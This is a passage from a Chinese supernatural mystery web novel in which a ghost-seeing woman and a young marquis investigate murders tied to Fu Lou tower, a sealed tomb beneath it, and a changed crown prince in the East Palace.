“夏姑娘,你怎么走路一点声响都没有?”
他抚着胸口,可见吓得不轻。
夏熙墨却走到他跟前,递了一个箱子给他,“请你办件事。”
任丛又惊了一下。
请他办事?
这可太稀奇了。
他看了一眼那箱子,心下惊疑不定,问道:“这箱子里…是什么?”
夏熙墨吩咐道:“东市有间‘周记糕点’,你找个可靠的人接手一下,这些钱,可够?”
任丛将箱子接到手中,打开一看,又吓了一跳。
足足十锭金子。
别说找人接手铺子了,就是直接买下也够了啊。
“这么多,肯定够了啊…”
任丛身为管家,整个任宅的吃喝用度,都是他在操持,包括任风玦的衣食住行。
他常在坊间走动,对于东西两市的情况也是了如指掌。
一听“周记糕点”,那可是十几年的老字号了,因半年前东家出了事,铺子便也开不下去。
听说里面几个伙计还因意见相左而闹了一段时间,具体情况并不明了。
不过话说回来,那么好的地段呢,突然不做了,确实可惜。
任丛并不知夏熙墨为何突然要管这间铺子的闲事…
他正要解释其中的各种牵扯,夏熙墨却直截了当地说道:“够就行,若有多,你拿着。”
“……”
先前,小侯爷赠她一百两银子,她拿得理所当然。
给她裁冬衣,更是开口没轻没重。
对于她,任丛一直多有不满。
甚至暗自腹诽过,这女子到府上来,即便不是为了“攀高枝”,也必然要图点什么。
现在一想,她对小侯爷那态度,是半点想要巴结的意思也没有。
但若说要图财?
这可是十锭金子啊,她竟眼睛
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不眨就给了?
任丛百思不得其解,夏熙墨却不给推托的余地,转身又出府去了。
去顺天知府府的路上,无忧冒着被“封口”的风险,也要出来唠两句。
“那十锭金子,你怎么一块也不留?”
“之后要是离开了任风玦,你在人间行走,少不了要花钱吧?”
“该不会…是不打算离开了吧?”
这句刚问完,无忧便觉得自己被一股奇怪的力量给牵制住了。
它只好赶紧闭嘴,却少不了要在心里多嘀咕两句——
她必然也舍不得离开。
且照着后面情势来看,她与任家小侯爷之间,只会牵扯更深!
郑道远因死得蹊跷,在尚未结案之前,府内也就不曾举行丧礼。
但这两日,除了查案上门之外,也陆续有人上门吊唁慰问。
夏熙墨前一日才来过,再登门,门房及下人对她可谓是敬畏有加。
向管家通报了之后,她很快又被带到了郑道远的书房。
但奇怪的是,房内并不见对方的鬼魂。
夏熙墨环顾四周后,只见一缕阴气盘旋在书房后面的院子,便问:“后面那个是谁的院子?”
管家迟疑着回道:“是…我们家公子。”
“带我过去。”
听她这样说,管家却道:“我家公子的情况,姑娘也见过了,夫人不愿他知晓老爷的死讯,对他不好…”
夏熙墨打断了他,“你家老爷缠着他,对他才叫不好。”
闻言,管家诧然,抬头只见对方一双漆黑的眸子看着自己,后背顿生寒意。
他竟不敢多问,立即前去带路了。
二人才走进郑泽居住的院子,莫名就刮来了一阵邪风。
夏熙墨目光一扫,果见主屋内阴气弥漫。
她又走近了几步,渡魂灯内的阴魂,也开始颤动了起来。
只是这时,却有一道鬼哭声从室内传来。
透过半敞的房门,只见郑泽正坐在书案前,而郑道远的鬼魂则浮荡在一旁,哀声痛哭。
他伸手,似乎想去触碰自己的儿子,然而,魂体早与人间形成结界,任他如何触碰,也已是阴阳两隔,人鬼有别。
第88章 掌柜
管家推开房门,夏熙墨走了进去。
坐在书案前的郑泽抬起头来,却明显认出了她。
“我画的…爹爹!”
他兴奋指着自己的画,又道:“还有我!”
只见纸上有两道身影,一高一矮,一长一幼,不难看出,那是年轻时的郑道远与年幼的郑泽。
夏熙墨看了一眼,便瞥向浮荡在旁边的鬼魂。
“现在明白与至亲分离的痛苦了?”
“当初害死柳氏和她的孩子,可曾想过今日?”
夏熙墨冰冷的话语,让鬼魂立即止住了哭声。
显然,他很诧异,对方居然在跟自己说话。
“你…能看到我?”
郑道远神情复杂:“为何你能看到我?为何我儿他…看不到?”
“为什么会这样?”
他说着,声音颤抖,一脸痛苦。
显然还并未完全接受,自己已经死去的事实。
夏熙墨几乎一字一顿:“你已经**。”
这话,让郑道远更加崩溃,室内顿时阴风阵阵。
管家并不知她在跟谁讲话,忽闻风吹窗动,吓得他立在门口,进退不得。
而这时,无忧也将周子规一家四口的魂魄从灯内放了出来。
郑道远一眼望去,吓得想逃,却被夏熙墨用魂力定在了原地。
而随着周子规走到他跟前,郑道远几乎瞠目欲裂:“是你!是你!”
他以为,当日杀死自己的,就是眼前之人。
周子规并不知对方为何如此畏惧自己,他愤然握紧拳头,骂道:“你这狗官害死我娘子,你死不足惜,罪有应得!”
郑道远看了柳氏一眼,顿时痛哭流涕:“我…我并未想要害死她,我只是…”
“我只是一时鬼迷了心窍,将她当作了我那过世的夫人…”
“若知道是这种结局,我必不会那么做!”
“周夫人,求你原谅我!”
柳氏只是冷冷剜了他一眼,却对自己丈夫说道:“夫君,他如今身死,与自己的孩子也阴阳两隔,再不能相见。”
“且案情公布天下后,他还会受世人唾骂,遗臭万年。”
“他需要付出的代价,一样也不会少。”
听了柳氏的话,周子规才慢慢平定情绪,他冷冷道:“我娘子永不会原谅你。”
郑道远嗫嚅着唇,却是什么话也说不出。
他又下意识看了郑泽一眼。
此时,郑泽正轻轻拉着夏熙墨的衣角,眼巴巴问道:“姐姐,你可知道,我爹爹去哪儿了?他为何不再来看我?”
夏熙墨未说话。
门外的管家看不见鬼魂,却能感受到房内骤然变冷,他心里害怕,但念及少主人,还是硬着头皮走进来。
“公子忘了?老爷出远门了,还要好几日才会回来…”
“他不会回来了。”
夏熙墨却直接打断了管家的话,望着一脸困惑的郑泽,她又问道:“你可曾做过坏事?”
郑泽仔细想了一下,才怯生生回道:“我做…过。”
她又问:“做了坏事要受罚,可知?”
郑泽点头,似乎理解了她的话,“爹爹也…做了坏事?”
夏熙墨微顿。
在一旁管家紧张的目光注视之下,她才说道:“他害得别人家的孩子,无法与父亲相见。”
“所以,罚他,在往后的几十年内,不能与你相见。”
这番话,听得郑泽愣了愣,他垂首看着自己的画,低声问:“那我何时,可以再与他相见?”
夏熙墨想了一下,才答:“几十年后,你会去到一个叫作‘阴司’的地方,到时候,你去问那里的‘人’。”
——
未时,杜国公府。
对于任风玦的突然登门,杜月明多少能猜出他的来意。
毕竟两人相识那么多年,任家这位可谓无事不登三宝殿。
于是,听见下人通报后,小公爷便声称病了,也不去厅里会客。
本以为这样就能免去麻烦,谁知没过一会儿,任风玦就直接到他院子里来了。
还顺便喊了一位府医。
“小公爷既然病了,还是得看看大夫。”
杜月明这下是真头疼了。
“也不是什么大毛病,躺会儿就好了。”
说罢,他靠在榻上,拢了拢身上的薄衾。
任风玦也不走,下人看完茶后,他便悠闲坐在旁边喝茶吃点心,一点也不避嫌。
杜月明见他迟迟不走,也是无奈,掀开衾被,盘腿坐起身来,没好气地说道:“任风玦,你想知道什么
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,赶紧问吧!”
任风玦笑着放下茶盏,夸了一句点心,才说道:“主要就是想问问,那赋楼白掌柜的来头,我觉得,小公爷应该很清楚。”
杜月明就知道自己猜得没错,指着他骂道:“就知道你小子去赋楼,绝对没安好心!”
到头来全是为了查案!
任风玦敛容正色道:“昨晚赋楼一事,你也在场,有目共睹,不必我多说吧?”
“赋楼可不是一般酒楼,那白掌柜也绝非什么善类。”
其实回想起昨晚的所见所闻,杜月明多少也有些后怕。
这赋楼,确实诡异。
他仔细回想了一下,才道:“我也是半年前才与那白掌柜有些往来的,但对于赋楼内的其他事,确实一无所知。”
自赋楼在京中一夜成名后,杜月明就迫不及待想要去一探究竟。
然而,他出重金预购了好几次牌子,竟是一次也没能得手。
楼内规矩多得很,来来去去问了七八天,好不容易才得了一块红牌。
结果去时,还被拒之门外,声称客满。
这事可把杜月明给惹恼了,不免悄悄怀恨在心。
心想,什么破楼,本公子还不稀罕!
事情的转折点,发生在不久后的一次醉华楼赴宴。
途中,杜月明喝了两杯薄酒,醉意微醺之际,便跟席间的人说起赋楼之事。
因为气恼,他随口贬了赋楼几句,还说京中传言大多都是捕风捉影,不可轻信。
说得兴起时,却有人来敲阁门,声称是赋楼白掌柜想请杜小公爷过去一叙。
杜月明一听,居然是赋楼掌柜,他不免摆起了谱,故意当着众人的面,直接推托了。
不想,过了一会儿,那白掌柜竟亲自来请。
还记得那晚,袅袅一道倩影,倒映在门前的屏风上,光是那身段,就勾得人浮想翩翩。
而那柔媚的声音,听得楼内男人,个个骨头都要酥了。
京中向来不乏绝色,杜月明又独好这一口。
当即,什么新仇旧怨也都烟消云散了。
他只想一睹芳容!
然而,等他屁颠屁颠去到白轻霜的雅阁中后,整个人又立即蔫了。
原来那阁内,除了白轻霜之外,还有一人。
第89章 密道
“阁内还有谁?”
“…东宫。”
其实,即便杜月明不说,任风玦也能想到。
因此,听到“东宫”二字,他并没有多少意外,只问:“所以,真正要见你的人,是太子?”
回想起那晚经历,杜月明依然困惑:“我稀里糊涂就去了,结果看到太子也在,可把我吓到了。”
接着,他又向任风玦勾了勾手指,压低声音道:“你可知,在此之前,我上一次见太子时,是怎样一副情形?”
他说得一脸神秘,任风玦却摇了摇头。
一年前,太子受封,入住东宫,没多久就离奇病倒了。
而那时,他才刚成婚不久,娶的还是杜月明舅家的表妹——唐郡公之女唐月琅。
因此,论关系,杜月明知道得肯定比他多。
“上回见他,还是在东宫内,当时收到消息,说…已病入膏肓,恐时日不多。”
杜月明声音又低了几分:“我当时随老头子前去东宫探望,传闻确实不假,我也亲眼所见…”
“太子病得几乎脱了人形!”
这事当然容不得背后非议。
但任风玦觉得,二者之间,必有关联。
太子当时生的什么病?朝中几乎无人知。
又是如何痊愈的?也无从知晓。
或许,还要再去太医署里走一趟。
他心里这样想着,杜月明又继续说道:“可那次在醉华楼内,太子却像是脱胎换骨了一般,整个人的感觉,都好似与从前不太一样…”
任风玦虽与太子接触不多,却也深有同感。
从前的太子,光华内敛,不露锋芒,却也能在几个皇子之中脱颖而出。
但那晚在赋楼的太子却不同…
他表面看似谦和有礼,却收不住那眼神里的倨傲与张狂。
骨子里的锋芒,更是收不住。
任风玦问道:“太子那次找你,所为何事?”
杜月明明显迟疑了一下,才答道:“不过是些小事罢了。”
“真是小事?”
昨晚在赋楼,小公爷的那句“各取所需”,任风玦还清楚记在心里。
而以他对杜月明的了解,他只有在心虚时,说话才会藏着掖着。
杜月明知道瞒不住,索性坦白道:“真是小事…”
“那白掌柜说,赋楼内需要舞姬与婢女,最好…有些姿色,她想让我,去教坊司里物色人选。”
小公爷虽在朝中并无官职,但以他的人脉,想要去教坊司那种地方弄几个人出来,倒也不是什么难事。
但这事拿到明面上讲,却是不合规矩的。
杜月明悄悄观察着任风玦的脸上,又继续说道:“你看啊,如今入教坊司的,多半都是一些罪臣之女,落魄贵女,与其去教坊司,倒不如去赋楼。”
他说得大义凛然,任风玦却冷哼了一声,“这么说,你还觉得自己做了一桩好事?”
杜月明如同被人捏住了后脖颈一般,整个人往后缩了缩。
他不接话,又自顾自说道:“这事说来也怪,赋楼那地方确实养人呐。”
“我给白掌柜物色的那些女子,自从入了赋楼后,个个愈发娇艳了。”
任风玦皱眉不语。
杜月明不管他,继续说道:“你也知道,那些女子,哪个不是经历过抄家后的苦日子,再怎么漂亮的容色,饿上几顿,都像霜打的茄子。”
“但只要她们去了赋楼,最多也就一两日,就如同变了一个人似的。”
他说得啧啧称奇,任风玦的面色却愈发清冷。
心里已隐隐窥见了真相。
“那你这半年,一共给赋楼送了多少人?可清楚?”
杜月明见他脸色不好看,连忙在心底快速估算了一下,“大概也就十个左右。”
“毕竟,不是每个都符合赋楼要求。”
“什么要求?”
“要求容貌,身段,年龄,还有一点比较怪,要生辰八字。”
任风玦豁然站起身来,冷声道:“你把那些女子的身份,拟一份名单,全都告诉我。”
杜月明见他突然如此严肃,心中难免要生出几分惧意。
“这…与昨日之事可有关联?”
任风玦面色冷得可怕:“你送去的那些女子,只怕早成尸骨了。”
“啊?!
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”
杜月明怵然一惊,也起身辩道:“可我前两日还见过她们啊!”
任风玦不打算与他解释太多,也不愿他牵扯太多,当即轻拍了拍他的手臂,正色道:“这些时日,你少出门,若是白掌柜,抑或是太子来找你,私下都不要再见了。”
在杜月明诧然的神情之中,他直接往外走去。
临到门口处,又顿足:“那些女子的名单,记得尽快给我。”
从国公府内出来后,任风玦又去了一趟赋楼。
此时,通天阁的血池内已捞出不少尸骨,而根据头骨来看,共有七人,且都是女子。
余琅负责坐镇此处,可谓是强忍着恶心。
捞起这些尸骨出来已叫人头疼,岂料,在楼内拿着罗盘捣腾半天的道士颜正初,亦有了新的发现。
赋楼大堂那只琉璃玉手下,竟还有一条深不可测的密道,也不知通往何处。
但在密道石门被打开的那刻,颜正初手中平静的罗盘,忽然间就乱了。
指针疯狂跳动的同时,隐隐有阴风呼啸,足见里面的“东西”凶得很。
这可让颜正初激动了一把。
赋楼这地方,怪就怪在——明明很诡异,但表面看起来又异常“干净”。
就好似,罩了一层结界…
眼下总算露出端倪,那么,离解惑也就不远了。
颜正初本想喊两个衙役打灯同自己入密道,结果还没开口,众人已被吓得退避三舍。
唯有余琅,眼里简直溢着光,一副迫不及待想要“见鬼”的样子。
这种情况下,颜正初除了带他,好像也没得选。
可就在两人正要进去时,任风玦的声音却从背后传来。
“余少卿。”
余琅步子一顿,直觉不妙。
他回过头,只见任风玦已阔步走了过来,“通天阁内那些尸骨的身份可查清了?”
余琅心道:哪能那么快?那可是一堆骨头!就算是尸体,也不可能那么快能查到啊。
他正待分辨,任风玦却直接将他手里的风灯接了过去。
“案件紧迫,需尽快。”
“……”
第90章 阴墓
见任大人到来,先前那些缩在后面的衙役,倒又争先恐后走了出来,称要同往。
余琅:“……”
颜正初道:“密道狭窄,有两人跟着,方便照应就好,不必太多人。”
他话音刚落,却瞥见一道红色身影出现在赋楼门口。
听见轻浅的脚步声,任风玦下意识回望了过去,见到夏熙墨,不由得微顿。
他正要开口说些什么,夏熙墨却直接从他身旁而过。
根本没有商量的余地,她兀自往密道里去了。
见此,颜正初不由得一笑,向任风玦道:“走吧小侯爷。”
也不知是什么缘故,有夏熙墨同往时,颜正初竟莫名觉得肩上担子好似轻了许多。
望着前方纤瘦的背影,他倒有些疑惑了。
心想,藏在这个女子身上的秘密,一定不简单。
只是不知,昨晚之事,究竟为真实发生过,还是梦境…
念及此,颜正初实在忍不住加快步子跟上夏熙墨,并悄声问了一句:“昨晚…你是不是到我房里来过?”
这话问得有些不对劲。
他又改口:“我说的是…魂魄来过。”
夏熙墨瞥了他一眼,回了模棱两可的三个字:“不记得。”
“……”
这种事还能不记得?
颜正初还想再问,身后的任风玦却悄无声息跟了过来,他只好将后面的话又咽了回去。
总不能真是做梦吧?
密道幽深,阴气寒重,走了一段路后,一股令人毛骨悚然的冷意开始顺着腿脚爬遍全身。
颜正初都不由得打哆嗦。
然而,再看夏熙墨与任风玦,竟跟没事人似的。
还真不愧是纯阳之体和至阴之躯啊…
密道走到尽头,却又出现一道石门。
颜正初用风灯照了一下门上印记,立即脸色大变。
“这…可是我们云鹤山的法印啊。”
他用手一寸寸抚着石门,像是恍然大悟:“我知道了,这地方…是一座‘阴墓’啊。”
任风玦听得皱眉。
这里可是京城,即便远离皇宫,且不在繁荣的东西两市,可到底是天子脚下。
怎么可能会出现这样阴邪之物?
“何为‘阴墓’?”
夏熙墨忽然开口问了一句。
颜正初却向任风玦说道:“可还记得,我与你说过,五十年前的‘阴阳煞’之事?”
“嗯。”
“据我师祖手札记载,‘阴阳煞’炼成之时,恰是前朝气数将尽之时,”
当时内忧外患,眼见就要天下大乱。
“阴阳煞”的出现,更是将局势搅得愈发水火不容,混乱不堪。
但奇怪的是,那些鬼物,相继都**在上京,甚至,开始在宫中肆意横行。
于是,前朝皇帝只能派出心腹大将前往云鹤山求救。
而云鹤山历来以捉鬼驱邪为己任,听到天家有难,岂能坐视不理?
当即便出动所有弟子,下山前往京城。
耗时了大半个月,才将京中鬼物尽数收服。
颜正初又继续说道:“当时,师祖虽带领弟子将鬼物邪祟尽数收服驱尽,但其中,有一些恶鬼邪灵滞留人间已久,且不归属地府管制,也去不得轮回。”
“这种情况之下,便只能找一处地方将它们封印,是以,此地便为‘阴墓’。”
任风玦明白了过来,“所以,此处就是当年贵派师祖封印恶鬼之地?”
颜正初又细细看了一眼石门上的印记,“十有**是了。”
他轻抚门上符咒,又解释道:“这石门上的符箓,应该是由师祖亲手刻制,并以玉剑蘸了朱砂及纯阳之血加固。”
“符咒名为九星清辉咒,既能**百鬼,还能压制阴煞戾气。”
“我想,这也是整座赋楼之所以看起来那么‘干净’的关键了。”
任风玦顺着他的话一联想,心下也就更加明了。
他皱眉问:“若‘阴阳煞’练成,是否会放出底下恶鬼?”
颜正初颔首:“恶鬼受‘阴阳煞’影响,必然会变得更加凶恶,师祖符咒固然厉害,但毕竟也经历了那么多年,朱砂和纯阳之血都隐隐褪去了,法力定然不及当年。”
听了这番话,任风玦倒庆幸只有他们三人进了密道。
否则,这话再传到余琅及其他人耳中,不定会引起怎样的慌乱…
他看了夏
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熙墨一眼,却见对方只是看着那道门,面上神情一如既往。
冷漠,淡然,仿佛事不关己。
“既然此处封印的是恶鬼,那我们也不宜久留,还是尽快出去。”
任风玦提议着,正要执灯往回引路。
一旁的夏熙墨却冷不丁防地开口了。
“这符咒,已经被人动过了。”
她用手指着石门中间。
颜正初连忙上前细细端详,果见那用以加固符咒的“鹤印”,缺失了一小块。
他心下一惊,不由得后退了一大步。
岂料夏熙墨却直接伸手推石门,只听见“轰”地一声闷响,石门升起,一具狰狞的白骨,正立于门后,与门外三人可谓面面相觑。
见状,任风玦下意识上前一步,本想将人护至身后。
却见夏熙墨半眯着眼睛,正在“欣赏”面前白骨。
没有惧意,反倒多了几分兴趣。
对于石门后的情形,颜正初始料未及。
因为,石门后的石室内,除了一道白骨之外,空空如也。
但奇怪的是,这里虽阴煞之气冲天,却并无任何鬼物。
甚至,连一道阴魂的踪迹都没有。
“完了啊。”
颜正初第一反应是,这里面的鬼物肯定已经被放了出去。
但若真是如此,京中又怎会如此太平?
还是说,鬼物是刚刚放出去?
他急得叹了口气,恨不得现在飞回云鹤山,把他师父老人家给请过来。
任风玦则盯着白骨看了一会儿,暗自推测。
这是一具男人的尸骨,且以头上玉冠,以及身上的缂丝衣袍来看,身份必然尊贵。
他举起风灯,又看了看尸骨四周,却发现升在上方的石门背后,竟有一道道触目惊心的指甲刮痕。
可见,这具尸骨是在此地,被活活困死的。
至于他的身份…
任风玦又绕着尸骨走了一圈,这时,却见那宽阔的袖手间,隐隐露出一块金牌。
他俯身借灯火近看,只见正面刻着四个字——承天之祜。
背面还有一个鎏金大字——启。
若他没有猜错的话,这可是前朝的东宫之印!
第91章 嫌隙
夜色沉如泼墨,天幕低垂,无星也无月。
东宫内苑,千秋园内,一名宫婢正提着风灯在前面走着,身后跟着的两名小内侍,正合力抬着一卷毡席。
席内不知卷着何物,看起来有些沉甸甸的。
内侍二人一前一后抬着,竟还有些吃力。
忽然间,前面的人不知被什么绊了一下脚,一个趔趄之下,险些摔在地上。
后面那人猝不及防又撞了上去,毡席脱手而去,掉在了地上。
随后,一具衣衫不整且死状凄惨的女尸,便暴露在夜幕之下。
内侍看了一眼,顿时吓得脸色惨白,一时之间,愣在原地。
走在前面的宫婢听见动静驻足回头,慌忙道:“还不赶紧捡起来!”
闻声,两人哆嗦了一下,连忙重新将尸体卷起,却并未发现掉落在地上的一支珠钗。
三人继续将尸体运至园子深处,身影很快就与夜色融为一体。
——
翌日一早,任风玦便以“赋楼案”为由,下了一张拜帖送往东宫。
然而,一直等到午时过后,太子才有空见他。
与上回的皇宫之行一样,夏熙墨还是扮作任大人的小厮同往。
路上,任风玦在脑海中分析回想今早前往太医署调查一年前太子病重之事。
从江医令口中得知,太子当时病况确实严重,是东宫医官束手无策的情况下,才上达太医署。
圣上皇后得知此事后,也亲往了一次东宫。
江医令顶着几层压力,不得不亲自坐诊。
他说,当时的太子一直处在昏睡状态,身体却在极快消瘦。
可偏偏脉象平稳如常,浑身上下都找不出一丝异象。
这让江医令一时之间,是药不能乱下,针也不敢乱施。
足足三天时间,整个太医署都在为此事头疼,医经古籍翻了个遍。
身为太医署令,他苦守未央殿,时刻留意着太子的情况,不敢有一丝松懈。
途中,除以穴位疗法给太子疏通经络,以及服用一些颐养补药之外,便只尝试了两次药浴。
太子却一点要醒来的征兆都没有。
不仅如此,原本年轻精壮的身体,竟也枯瘦了下来,几乎要脱了象。
就好像是,被什么东西给吸走了精气。
听到这里时,任风玦便忍不住问了:“那后来又是用什么方法医治好了?”
闻言,江医令却有些尴尬了。
他不想承认自己医术不精,但事情,确实就是那么离奇。
“没用任何法子,太子他…忽然就醒过来了。”
任风玦皱眉:“何时醒来的?”
“第四日的清晨。”
说实话,守了整整三个晚上,江医令都已经做好了“脑袋搬家”的准备。
他想,章皇后就只有太子这么一个儿子,且圣上又对他十分看重。
这国之储君要是没了,自己必然吃不了兜着走。
可谁承想呢?
第四日早上,他睁着酸涩的眼睛,进内殿看诊,看到的却是一个安然无恙且完好无缺的太子。
太子醒了。
仅一夜时间,就恢复如常,不见一丝病气。
在太医署待了二十多年,江医令都要怀疑自己是不是见了鬼。
他又怕是“回光返照”,便在东宫多待了两晚,确认太子完全好了,太医署才敢撤离东宫。
只是这事却不敢外传,对太医署和东宫都不好。
任风玦暗自琢磨了一下,又问:“太子病愈的前一晚,未央殿内可有发生过什么异常?”
江医令也回想了一下,才答道:“当时,内殿一直是太子妃娘娘守在殿下身边,形影未离,并未听说有什么异样…”
太子妃唐月琅?
任风玦不由得想起公主生辰之日,在东升殿内发生过的事情。
他虽未将此事放在心上,但对于唐月琅与太子之间的关系,还是心存疑惑。
早在很久之前,他就听杜月明说过,自家那位娇纵的表妹,对当时还是端王的赵礼芳心暗许了。
这事,任风玦并不奇怪。
因在宫学时期,他就知晓,赵礼一直悄悄与唐月琅有书信往来,两人应该早已情投意合才是。
所以说,一年前,赵礼被立为太子,帝后随即赐婚,算是美事两桩。
而太子生病期间,太子妃昼夜不离,贴身照顾,足见他们当时的感情,定然很好。
可又是从什么时候开始,传出了二人之间心生嫌隙?
太子像是变了一个人。
太子妃更是性情大变。
任风玦一时没了头绪,却又隐隐觉得,
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唐月琅不会无故变成这样,一切必有关联。
马车在这时停了下来。
阿夏才停车,东宫总管便上前来迎驾,声称太子在书斋内恭候。
这位总管姓王,曾是端王府的旧人。
宫学时期,他便一直跟在赵礼身后伺候,深得太子信任。
此时,他亲自在前面引路,任风玦却故意将步子走得轻慢,目光不着痕迹,四下细细留察着。
上次来东宫,还是太子大婚那日。
他记得那天,上下张灯结彩,到处都挂着红绸,人声鼎沸,热闹非凡。
而今一路穿廊过院,却是异常清冷。
前后对比,倒应了赵礼与唐月琅的这段姻缘…
想到这里时,任风玦忽然开口问了一句:“太子妃娘娘近来可好?”
走在前面的王总管后背微僵,面上也露出了一抹略显僵硬的笑容,回道:“实不相瞒,前些日子,太子妃娘娘进宫,因惹怒了皇后娘娘,至今还被罚在寝宫禁足…”
他这么一说,任风玦才想起来,当日确实亲耳听到此事。
又试探问:“那禁足期间,太子殿下可有求情?”
王总管却叹了口气,见他与身后的“小厮”拉开了一些距离,才压低声音说道:“小侯爷,其实对于此事老奴也极为困惑。”
任风玦见缝插针:“难道说,传闻太子与太子妃心生嫌隙之事,是真的?”
不等王总管回话,他又摇了摇头,故意说道:“不对,太子与太子妃虽为帝后赐婚,但据我所知,二人早就情投意合,赐婚也是为了成全。”
王总管立即附和道:“谁说不是呢?可自太子病愈后,一切都变了…”
“变了?”
任风玦抓住重点,驻足停顿了一下。
王总管意识到自己失言,讪讪住嘴。
可这事压在心中已久,好不容易才吐出来,索性将任风玦拉至一旁,直言道:“一年前殿下生病之事,小侯爷应该有所耳闻。”
任风玦点头。
王总管随即道:“自殿下病愈后,对太子妃娘娘的态度就变了。”
“从前是专心专意,但这一年间,却形迹放浪,不仅陆续纳了不少侍妾,甚至…连太子妃娘娘的贴身宫女都…”
“总之,已是…伤透了太子妃的心。”
第92章 前朝
太子书斋,名为咏清。
此时,只有一个内侍在门前候着。
任风玦进门前,先向身后的夏熙墨点头示意了一下,这才走入书斋。
然而,放眼望去,却脚步微滞。
只见一身常服的太子赵礼,正拥着两名侍妾坐在书案前。
面前放着美酒与果点。
他倒是毫不避讳,**在书斋内饮酒作乐。
“小侯爷来了?”
听见脚步声,赵礼醉意微醺地招呼了一声:“过来坐…”
又招呼右手边的侍妾:“你,过去给小侯爷也倒一杯。”
那侍妾娇媚一笑,便要上前来。
任风玦却立即抬了一下手:“不必过来。”
面对故意的轻视怠慢,他倒是面色如常,只不咸不淡说了一句:“没想到殿下白日里,也有这般好兴致。”
赵礼不在意他话里有话,就着侍妾的手喝了一口,却懒懒问道:“小侯爷说,赋楼案已有眉目,不知查到什么了?”
任风玦拱手作揖,却立得不卑不亢:“已查出此案,与前朝有关。”
听到“前朝”二字,赵礼果然顿住。
四周氛围,随之凝固。
“前朝?”
太子的声音,莫名多了几分森冷之意:“任风玦,你可知自己在说什么?”
任风玦却微微一笑,“看来殿下…并没有醉啊。”
听出对方是在故意试探自己,赵礼那双狭长的眸子,立即半眯了起来,随即,语调一转。
“小侯爷真会说笑,要是醉了,也不会喊你来此。”
“方才说要喊你一起饮酒,是觉得…以你我之间的交情,大可随意。”
说罢,向一旁招了招手,两名侍妾随即出了书斋。
任风玦一边不着痕迹观察着对方的神色,一边顺势坐了下来,又道:“既然昨夜答应了要给殿下一个交代,须得秉公告知的,也绝对含糊不得。”
“之所以说,是与前朝有关,那是因为…臣昨日在坊间,听了一件前朝轶事。”
“哦?”
赵礼也明显在观察着他,“说来听听。”
“传闻前朝皇帝有九个皇子…”
如同说故事一般,任风玦娓娓言道:“皇子间,为了争夺储君之位,在朝中掀起了不少风浪。”
“其中,九皇子深受皇帝宠爱,虽为幼子,却远比几个哥哥有谋略有眼见。”
“不过,历来储君之位,都是皇长子为先,若长子无能…”
听到“长子无能”四字时,赵礼嘴角的肌肉,明显轻轻抖动了一下。
那狭长的眸子里,更是闪过一抹冷光。
像寒夜里的利刃。
任风玦看在眼里,不动声色,又继续加重语气,说道:“长子无能,皇帝才会从其他几个皇子当中再挑人选…”
“这皇长子感到危机,怕储君之位落到兄弟手中,便不惜暗中使计,残害手足。”
“他算盘打得极好,本以为,只要几个弟弟对自己没了威胁,便能稳坐储君之位。”
“谁知,突如其来的一场宫乱,让朝堂内外动荡不安,没过多久,连江山也易了主。”
“但奇怪的是,这位残害手足的皇长子,竟突然如人间蒸发了一般!”
“有人说,他早已逃出京城,改名换姓,过普通人的日子。”
“也有人说,他其实早在那场宫乱中就已死去,尸体被皇帝秘密处置了。”
“而他的埋骨之地,就在赋楼四周!”
听到这里,赵礼面色阴晴不定,却幽幽开口问:“这子虚乌有的传闻,又与赋楼有什么连系?”
“当然有。”
任风玦语气也冷了几分:“因为就在昨晚,臣确实在赋楼底下的一间密室内,发现了一具男性尸骨。”
“或许,赋楼通天阁内的那些尸骨,正是被这具尸骨的鬼魂所害呢?”
赵礼豁然起身,眼神冰冷,语气更甚:“任小侯爷,你这话可真是越说越荒谬了!”
“找不出凶手,却说鬼魂作祟?”
任风玦掀起唇角,忽然笑了笑,“方才也说了,不过是道听途说的一些轶闻罢了,肯定是茶楼里那些说书先生胡乱编撰,不得轻信。”
“不过
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——”
他神情随之肃然,语气轻慢,听起来却带着压迫感:“赋楼内尸骨倒是真真切切存在的,且京中一直传闻,太子殿下乃赋楼背后之主,此事,殿下难道不解释一下?”
“谣传而已,小侯爷要查这赋楼背后的主人难道还不容易?”
“建楼之初,必有工部文书,上书谁人之名,一查便知。”
赵礼说得理所当然,却一脸傲慢,只是,右手手指不着痕迹,轻轻敲打着台面,可见思绪也杂乱。
“至于孤与赋楼之间的渊源,倒也不复杂。”
“是因为,一年前病后落下旧疾,每隔一段时日,会犯头疼。”
“恰好那赋楼白掌柜擅长一套专治头疼的手法,这才去过两次通天阁。”
“至于给你们送牌子,也是觉得楼内清雅别致,美酒又特别甘甜,才替白掌柜做了这顺水人情罢了,倒不至于怀疑到孤的头上吧?”
一番说辞,倒是把自己撇得干净了。
任风玦也不反驳,只道:“工部那边已经查过了,当初建楼之人是个外地商人,且在一年前就**。”
“白掌柜已在昨晚失踪,太子既不知此事,看来只有找到她,才能破案了。”
——
任风玦进书斋见太子后,那东宫王总管对于随行的“小厮”,也是照顾有加,将她直接领到旁边的轩室内休整。
只是,等内侍倒完茶水回来,轩内已不见人影。
夏熙墨自进东宫后,便感受到一处阴气弥漫。
在灯魂无忧指引之下,她来到了一座名为“千秋园”的入口。
此时,放眼望去,园内花木森森,在这深冬季节里,透着凛然之意。
还未进园,无忧就忍不住飘出来了。
“这里面的感觉,和昨晚那间密室很像,该不会那些恶鬼都跑这儿来了吧?”
说着,又连忙飘到她的肩头处,四下探头张望。
“你可要保护好我啊,听说恶鬼是会吃阴魂的。”
“怕就躲灯里去。”
夏熙墨冷冷吩咐了一句,便直接往里走去。
第93章 园子
明明是**,入园后,视线所及之处,都明显暗了几分。
阴冷的风,往身上吹着,别说是人,鬼也要打哆嗦。
很难想象,东宫重地,竟会有这样一处阴邪之地。
夏熙墨环顾四周,正要继续往前走时,身后忽然有人喊道:“站住!”
她回头看了一眼,只见先前那引路的东宫总管正快步朝这边赶过来。
“你不在书斋门前候着小侯爷,怎么跑到这里来了?”
他又斥责了一句。
哪知夏熙墨根本不理他,竟继续往前走。
王总管倒愣了一下,看了一眼园门上方的大字,还是硬着头皮追了上去。
“你这小厮,也未免太过大胆!”
看在任风玦的脸面上,他才没有喊护卫过来抓人。
不料对方竟是一点面子都不给。
王总管追上前去,将去路一拦,微微有了恼意。
然而,却对上了一双幽深冰冷的眼睛。
那一瞬间,他像是忽然明白了什么。
心下推测,眼前之人的身份,恐怕不是一个贴身小厮那么简单。
难道…
“东宫近日是不是死过人?”
思忖间,对方却忽然开口了。
乍听那清冷的声音,王总管又愣了一下。
居然还是个女子?
而且,她问的是什么?
“你…”
